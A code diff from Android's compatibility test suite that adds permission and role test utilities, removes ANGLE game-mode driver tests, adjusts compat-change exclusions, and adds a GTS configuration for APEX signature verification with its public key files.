+ setAppOpByPermission(packageName, permission, MODE_IGNORED);
+ }
+
+ /**
+ * Get all permissions an app requests. This includes the split permissions.
+ *
+ * @param packageName The package that requests the permissions.
+ * @return The permissions requested by the app
+ */
+ @NonNull
+ public static List<String> getPermissions(@NonNull String packageName)
+ throws Exception {
+ PackageInfo appInfo = getTargetContext().getPackageManager().getPackageInfo(packageName,
+ GET_PERMISSIONS);
+
+ return appInfo.requestedPermissions == null
+ ? Collections.emptyList()
+ : Arrays.asList(appInfo.requestedPermissions);
+ }
+
+ // Enforce non instantiability with a private constructor
+ private PermissionUtils() {
+ }
+
+ /**
+ * Get the state of an app-op.
+ *
+ * @param packageName The package for which the app-op is retrieved
+ * @param permission The permission to which the app-op is associated
+ * @return the app-op mode
+ */
+ @TargetApi(29)
+ private static int getAppOp(@NonNull String packageName, @NonNull String permission)
+ throws Exception {
+ return callWithShellPermissionIdentity(
+ () -> getTargetContext().getSystemService(AppOpsManager.class).unsafeCheckOpRaw(
+ permissionToOp(permission),
+ getTargetContext().getPackageManager().getPackageUid(
+ packageName, 0), packageName));
+ }
+
+ /**
+ * Set a new state for an app-op
+ *
+ * <p>Uses the permission-name for new state.</p>
+ *
+ * @param packageName The package for which the app-op is retrieved
+ * @param permission The permission to which the app-op is associated
+ * @param mode The new mode
+ */
+ @TargetApi(24)
+ private static void setAppOpByPermission(@NonNull String packageName,
+ @NonNull String permission, int mode) {
+ setAppOpByName(packageName, permissionToOp(permission), mode);
+ }
+
+ /**
+ * Set a new state for an app-op (using the app-op-name)
+ *
+ * @param packageName The package for which the app-op is retrieved
+ * @param op The name of the op
+ * @param mode The new mode
+ */
+ @TargetApi(24)
+ private static void setAppOpByName(@NonNull String packageName, @NonNull String op, int mode) {
+ runWithShellPermissionIdentity(
+ () -> getTargetContext().getSystemService(AppOpsManager.class).setUidMode(op,
+ getTargetContext().getPackageManager()
+ .getPackageUid(packageName, 0), mode));
+ }
+
+ /**
+ * Checks a permission. Does <u>not</u> check the appOp.
+ *
+ * <p>Users should use {@link #isPermissionAndAppOpGranted} instead.</p>
+ *
+ * @param packageName The package that might have the permission granted
+ * @param permission The permission that might be granted
+ * @return {@code true} iff the permission is granted
+ */
+ private static boolean isPermissionGranted(@NonNull String packageName,
+ @NonNull String permission) {
+ return getTargetContext().getPackageManager().checkPermission(permission, packageName)
+ == PERMISSION_GRANTED;
+ }
+
+ /**
+ * Returns if the device is a handheld device.
+ */
+ @TargetApi(23)
+ public static boolean isHandheld(Context context) {
+ final PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+ && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+ && !pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ && !pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
+ /**
+ * Get package names of the applications hlding the role.
+ *
+ * @param roleName the name of the role to get the role holder for
+ * @return a list of package names of the role holders, or an empty list if none.
+ */
+ @TargetApi(29)
+ @NonNull
+ public static List<String> getRoleHolders(String roleName) throws Exception {
+ return callWithShellPermissionIdentity(() -> getTargetContext()
+ .getSystemService(RoleManager.class).getRoleHolders(roleName),
+ Manifest.permission.MANAGE_ROLE_HOLDERS);
+ }
+
+ /**
+ * Returns the app holding the specified role, or null if no app has the role. If more than one
+ * app holds the role, throws an {@link IllegalStateException}.
+ *
+ * @param roleName The target role name.
+ * @return The package name of the app holding the role, or null if not app has the role.
+ */
+ @Nullable
+ public static String getRoleHolder(String roleName) throws Exception {
+ List<String> packageNames = getRoleHolders(roleName);
+ if (packageNames.isEmpty()) {
+ return null;
+ } else if (packageNames.size() == 1) {
+ return packageNames.get(0);
+ } else {
+ throw new IllegalStateException("Expected only 1 package to hold the role \""
+ + roleName + "\" but found " + packageNames.size() + ": " + packageNames);
+ }
+ }
+
+ /**
+ * Check if it is a privileged permission.
+ *
+ * @return {@code true} iff it is a privileged permission
+ */
+ @TargetApi(28)
+ public static boolean isPrivilegedPerm(PermissionInfo permissionInfo) {
+ return permissionInfo != null
+ && ((permissionInfo.getProtection() & PermissionInfo.PROTECTION_SIGNATURE) != 0)
+ && ((permissionInfo.getProtectionFlags()
+ & PermissionInfo.PROTECTION_FLAG_PRIVILEGED) != 0);
+ }
+
+ /**
+ * Check if a package has any privileged permission granted.
+ *
+ * @param packageName The name of the package.
+ * @return {@code true} if the package has any privileged permission granted.
+ */
+ public static boolean isPkgHasPrivilegedPermGranted(@NonNull String packageName)
+ throws Exception {
+ final PackageManager pm = getTargetContext().getPackageManager();
+ PackageInfo pkgInfo = pm.getPackageInfo(packageName, GET_PERMISSIONS);
+ if (pkgInfo.requestedPermissions == null || pkgInfo.requestedPermissionsFlags == null) {
+ return false;
+ }
+ Assert.assertEquals(
+ String.format(Locale.US,
+ "[PackageInfo Error]: package(%s) requestedPermissions.length(%d) does "
+ + "not equal to "
+ + "requestedPermissionsFlags.length(%d)",
+ pkgInfo.packageName,
+ pkgInfo.requestedPermissions.length,
+ pkgInfo.requestedPermissionsFlags.length),
+ pkgInfo.requestedPermissions.length,
+ pkgInfo.requestedPermissionsFlags.length);
+ for (int i = 0; i < pkgInfo.requestedPermissions.length; i++) {
+ if ((pkgInfo.requestedPermissionsFlags[i] & PackageInfo.REQUESTED_PERMISSION_GRANTED)
+ != 0) {
+ try {
+ PermissionInfo permissionInfo = pm.getPermissionInfo(
+ pkgInfo.requestedPermissions[i], 0);
+ if (permissionInfo != null) {
+ return isPrivilegedPerm(permissionInfo);
+ }
+ } catch (PackageManager.NameNotFoundException e) {
+ Log.i(LOG_TAG, String.format("Permission %s not found",
+ pkgInfo.requestedPermissions[i]), e);
+ }
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Check if a package is a platform signed app.
+ * Compare the given app cert with the cert of "android" package on the device.
+ * If both are same, then app is platform signed.
+ *
+ * @param packageName The name of the package.
+ * @return {@code true} if the package is a platform signed app.
+ */
+ public static boolean isPlatformSigned(@NonNull String packageName) {
+ final PackageManager pm = getTargetContext().getPackageManager();
+ return pm.checkSignatures(packageName, PLATFORM_PACKAGE_NAME)
+ == PackageManager.SIGNATURE_MATCH;
+ }
+
+ private static Context getTargetContext() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext();
+ }
+}
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 4b699ade0f1..bf21e2ae777 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -35,7 +35,6 @@ java_test_host {
":CtsAngleDriverTestCases",
":CtsAngleDriverTestCasesSecondary",
":CtsAngleDumpsysGpuTestApp",
- ":CtsAngleGameDriverTestCases",
],
per_testcase_directory: true,
}
diff --git a/hostsidetests/angle/app/gameDriverTest/AndroidManifest.xml b/hostsidetests/angle/app/gameDriverTest/AndroidManifest.xml
deleted file mode 100755
index 7b6b10a80a2..00000000000
--- a/hostsidetests/angle/app/gameDriverTest/AndroidManifest.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-# Copyright (C) 2021 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.angleintegrationtest.gamedrivertest"
- android:targetSandboxVersion="2">
-
- <application android:debuggable="true"
- android:appCategory="game">
- <uses-library android:name="android.test.runner"/>
-
- <activity android:name="com.android.angleintegrationtest.common.AngleIntegrationTestActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.angleintegrationtest.gamedrivertest"/>
-
-</manifest>
diff --git a/hostsidetests/angle/app/gameDriverTest/src/com/android/angleIntegrationTest/gameDriverTest/AngleDriverTestActivity.java b/hostsidetests/angle/app/gameDriverTest/src/com/android/angleIntegrationTest/gameDriverTest/AngleDriverTestActivity.java
deleted file mode 100644
index cec4d2ae999..00000000000
--- a/hostsidetests/angle/app/gameDriverTest/src/com/android/angleIntegrationTest/gameDriverTest/AngleDriverTestActivity.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.angleintegrationtest.gamedrivertest;
-
-import static org.junit.Assert.fail;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.angleintegrationtest.common.GlesView;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class AngleDriverTestActivity {
-
- private final String mTAG = this.getClass().getSimpleName();
-
- private void validateDeveloperOption(boolean angleEnabled) throws Exception {
- GlesView glesView = new GlesView();
-
- if (!glesView.validateDeveloperOption(angleEnabled)) {
- if (angleEnabled) {
- String renderer = glesView.getRenderer();
- fail("Failure - ANGLE was not loaded: '" + renderer + "'");
- } else {
- String renderer = glesView.getRenderer();
- fail("Failure - ANGLE was loaded: '" + renderer + "'");
- }
- }
- }
-
- @Test
- public void testUseDefaultDriver() throws Exception {
- validateDeveloperOption(false);
- }
-
- @Test
- public void testUseAngleDriver() throws Exception {
- validateDeveloperOption(true);
- }
-
- @Test
- public void testUseNativeDriver() throws Exception {
- validateDeveloperOption(false);
- }
-}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 1cc73771a82..5a47f0c1053 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -41,15 +41,12 @@ class CtsAngleCommon {
static final String ANGLE_DRIVER_TEST_PKG = "com.android.angleintegrationtest.drivertest";
static final String ANGLE_DRIVER_TEST_SEC_PKG =
"com.android.angleintegrationtest.drivertestsecondary";
- static final String ANGLE_GAME_DRIVER_TEST_PKG =
- "com.android.angleintegrationtest.gamedrivertest";
static final String ANGLE_DRIVER_TEST_CLASS = "AngleDriverTestActivity";
static final String ANGLE_DRIVER_TEST_DEFAULT_METHOD = "testUseDefaultDriver";
static final String ANGLE_DRIVER_TEST_ANGLE_METHOD = "testUseAngleDriver";
static final String ANGLE_DRIVER_TEST_NATIVE_METHOD = "testUseNativeDriver";
static final String ANGLE_DRIVER_TEST_APP = "CtsAngleDriverTestCases.apk";
static final String ANGLE_DRIVER_TEST_SEC_APP = "CtsAngleDriverTestCasesSecondary.apk";
- static final String ANGLE_GAME_DRIVER_TEST_APP = "CtsAngleGameDriverTestCases.apk";
static final String ANGLE_DUMPSYS_GPU_TEST_PKG =
"com.android.angleintegrationtest.dumpsysgputest";
static final String ANGLE_DUMPSYS_GPU_TEST_CLASS = "AngleDumpsysGpuTestActivity";
@@ -160,26 +157,6 @@ class CtsAngleCommon {
device.executeShellCommand("setprop " + property + " " + value);
}
- static void setGameModeBatteryConfig(ITestDevice device, String packageName, boolean useAngle)
- throws Exception {
- device.executeShellCommand("device_config put game_overlay " + packageName
- + " mode=3,useAngle=" + Boolean.toString(useAngle));
- }
-
- static void setGameModeStandardConfig(ITestDevice device, String packageName, boolean useAngle)
- throws Exception {
- device.executeShellCommand("device_config put game_overlay " + packageName
- + " mode=1,useAngle=" + Boolean.toString(useAngle));
- }
-
- static void setGameModeBattery(ITestDevice device, String packageName) throws Exception {
- device.executeShellCommand("cmd game mode battery " + packageName);
- }
-
- static void setGameModeStandard(ITestDevice device, String packageName) throws Exception {
- device.executeShellCommand("cmd game mode standard " + packageName);
- }
-
/**
* Find and parse the `dumpsys gpu` output for the specified package.
*
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index 1d7548948d4..7484270dfe5 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -89,7 +89,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
stopPackage(getDevice(), ANGLE_DRIVER_TEST_PKG);
stopPackage(getDevice(), ANGLE_DRIVER_TEST_SEC_PKG);
- stopPackage(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
}
@After
@@ -363,96 +362,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
}
/**
- * Test ANGLE is loaded when the Battery Game Mode includes 'useAngle=true'.
- */
- @Test
- public void testGameModeBatteryUseAngleDriver() throws Exception {
- Assume.assumeTrue(isAngleInstalled(getDevice()));
-
- installApp(ANGLE_GAME_DRIVER_TEST_APP);
-
- setGameModeBatteryConfig(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG, true);
- setGameModeBattery(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
- }
-
- /**
- * Test ANGLE is loaded when the Standard Game Mode includes 'useAngle=true'.
- */
- @Test
- public void testGameModeStandardUseAngleDriver() throws Exception {
- Assume.assumeTrue(isAngleInstalled(getDevice()));
-
- installApp(ANGLE_GAME_DRIVER_TEST_APP);
-
- setGameModeStandardConfig(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG, true);
- setGameModeStandard(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
- }
-
- /**
- * Test setting the Game Mode to use ANGLE ('useAngle=true') and then overriding that to use the
- * native driver with the Global.Settings loads the native driver.
- */
- @Test
- public void testGameModeBatteryUseAngleOverrideWithNative() throws Exception {
- Assume.assumeTrue(isAngleInstalled(getDevice()));
- Assume.assumeFalse(isAngleOnlySystem(getDevice()));
-
- installApp(ANGLE_GAME_DRIVER_TEST_APP);
-
- // Set Game Mode to use ANGLE and verify ANGLE is loaded.
- setGameModeBatteryConfig(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG, true);
- setGameModeBattery(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
-
- // Set Global.Settings to use the native driver and verify the native driver is loaded.
- setAndValidateAngleDevOptionPkgDriver(ANGLE_GAME_DRIVER_TEST_PKG,
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_NATIVE_METHOD);
- }
-
- /**
- * Test setting the Game Mode to not use ANGLE ('useAngle=false') and then overriding that to
- * use ANGLE with the Global.Settings loads ANGLE.
- */
- @Test
- public void testGameModeBatteryDontUseAngleOverrideWithAngle() throws Exception {
- Assume.assumeTrue(isAngleInstalled(getDevice()));
- final String testMethod = getTestMethod(getDevice());
-
- installApp(ANGLE_GAME_DRIVER_TEST_APP);
-
- // Set Game Mode to *not* use ANGLE and verify the native driver is loaded when ANGLE is not
- // the system driver.
- setGameModeBatteryConfig(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG, false);
- setGameModeBattery(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS, testMethod);
-
- // Set Global.Settings to use ANGLE and verify ANGLE is loaded.
- setAndValidateAngleDevOptionPkgDriver(ANGLE_GAME_DRIVER_TEST_PKG,
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
- }
-
- /**
* Test that the `dumpsys gpu` correctly indicates `angleInUse = 1` when ANGLE is enabled.
*/
@Test
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 51daffd70a3..d31f7d83342 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -40,6 +40,7 @@ public final class CompatChangesValidConfigTest extends CompatChangeGatingTestCa
private static final long RESTRICT_STORAGE_ACCESS_FRAMEWORK = 141600225L;
private static final long SPLIT_AS_STREAM_RETURNS_SINGLE_EMPTY_STRING = 288845345L;
+ private static final long PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT = 289878283L;
private static final String FEATURE_WATCH = "android.hardware.type.watch";
private static final Set<String> OVERRIDES_ALLOWLIST = ImmutableSet.of(
@@ -174,6 +175,10 @@ public final class CompatChangesValidConfigTest extends CompatChangeGatingTestCa
// This feature is enabled only from U for apps targeting SDK 34+, see b/288845345
changes.removeIf(c -> c.changeId == SPLIT_AS_STREAM_RETURNS_SINGLE_EMPTY_STRING);
+ // Exclude PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT
+ // This feature is enabled only from U for apps targeting SDK 34+, see b/297482242
+ changes.removeIf(c -> c.changeId == PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT);
+
return changes;
}
diff --git a/hostsidetests/appsearch/Android.bp b/hostsidetests/appsearch/Android.bp
index ef30e13c135..62162989589 100644
--- a/hostsidetests/appsearch/Android.bp
+++ b/hostsidetests/appsearch/Android.bp
@@ -47,7 +47,7 @@ android_test_helper_app {
name: "CtsAppSearchHostTestHelperA",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
@@ -70,7 +70,7 @@ android_test_helper_app {
name: "CtsAppSearchHostTestHelperB",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index 100e5ede8b9..9a4a8c402e9 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -171,3 +171,40 @@ filegroup {
name: "CtsHostsideTestsAppSecurityUtil",
srcs: ["src/android/appsecurity/cts/Utils.java"],
}
+
+// The ApexSignatureVerificationTest is split into a separate java_test_host
+// to make it possible to run this test as part of GTS as well.
+// See b/301094654
+java_test_host {
+ name: "GtsApexSignatureVerificationTest",
+ defaults: ["cts_defaults"],
+
+ srcs: [
+ "src/android/appsecurity/cts/ApexSignatureVerificationTest.java",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ "truth-prebuilt",
+ "hamcrest-library",
+ ],
+
+ static_libs: [
+ "CompatChangeGatingTestBase",
+ "CtsPkgInstallerConstants",
+ "cts-host-utils",
+ "cts-statsd-atom-host-test-utils",
+ "sts-host-util",
+ ],
+
+ java_resource_dirs: ["res"],
+
+ // tag this module as a cts test artifact
+ test_suites: [
+ "general-tests",
+ "gts",
+ ],
+ per_testcase_directory: true,
+ test_config: "AndroidTest_ApexSignatureVerificationTest.xml",
+}
diff --git a/hostsidetests/appsecurity/AndroidTest_ApexSignatureVerificationTest.xml b/hostsidetests/appsecurity/AndroidTest_ApexSignatureVerificationTest.xml
new file mode 100644
index 00000000000..d14b67e196a
--- /dev/null
+++ b/hostsidetests/appsecurity/AndroidTest_ApexSignatureVerificationTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for the GtsApexSignatureVerificationTest">
+ <option name="test-suite-tag" value="gts" />
+ <option name="config-descriptor:metadata" key="component" value="packagemanager" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <target_preparer class="android.appsecurity.cts.AppSecurityPreparer" />
+ <!-- disable DeprecatedAbi warning -->
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="setprop debug.wm.disable_deprecated_abi_dialog 1" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="GtsApexSignatureVerificationTest.jar" />
+ </test>
+</configuration>
diff --git a/hostsidetests/appsecurity/res/apexsigverify/build.bazel.examples.apex.minimal.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/build.bazel.examples.apex.minimal.avbpubkey
new file mode 100644
index 00000000000..e6ffe589d5a
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/build.bazel.examples.apex.minimal.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.adservices.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.adservices.avbpubkey
new file mode 100644
index 00000000000..42885199567
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.adservices.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.product.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.product.test.avbpubkey
new file mode 100644
index 00000000000..bef1df60203
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.product.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system.test.avbpubkey
new file mode 100644
index 00000000000..ef0438e6e1f
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system_ext.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system_ext.test.avbpubkey
new file mode 100644
index 00000000000..0d978b8d7e3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system_ext.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.vendor.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.vendor.test.avbpubkey
new file mode 100644
index 00000000000..3ad68fca581
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.vendor.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.appsearch.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.appsearch.avbpubkey
new file mode 100644
index 00000000000..4e5acae9c1e
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.appsearch.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.btservices.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.btservices.avbpubkey
new file mode 100644
index 00000000000..969211f93ec
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.btservices.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.car.framework.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.car.framework.avbpubkey
new file mode 100644
index 00000000000..0b720b84598
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.car.framework.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.cellbroadcast.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.cellbroadcast.avbpubkey
new file mode 100644
index 00000000000..a7f87c33477
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.cellbroadcast.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.compos.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.compos.avbpubkey
new file mode 100644
index 00000000000..3f09680b7bc
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.compos.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.extservices.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.extservices.avbpubkey
new file mode 100644
index 00000000000..f37d3e4a14d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.extservices.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.geotz.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.geotz.avbpubkey
new file mode 100644
index 00000000000..f705184b206
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.geotz.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.core_permissions.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.core_permissions.avbpubkey
new file mode 100644
index 00000000000..b9164fb28f7
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.core_permissions.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.power.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.power.avbpubkey
new file mode 100644
index 00000000000..3b6411d994b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.power.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.sensors.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.sensors.avbpubkey
new file mode 100644
index 00000000000..98dfb71b81f
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.sensors.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.thermal.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.thermal.avbpubkey
new file mode 100644
index 00000000000..8f7cf72760d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.thermal.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.usb.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.usb.avbpubkey
new file mode 100644
index 00000000000..0302d6341a8
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.usb.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.vibrator.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.vibrator.avbpubkey
new file mode 100644
index 00000000000..a6ca6303fa0
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.vibrator.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.wifi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.wifi.avbpubkey
new file mode 100644
index 00000000000..63fba77bb19
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.wifi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.mediaprovider.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.mediaprovider.avbpubkey
new file mode 100644
index 00000000000..c1b8dda34b3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.mediaprovider.avbpubkey
Binary files differ
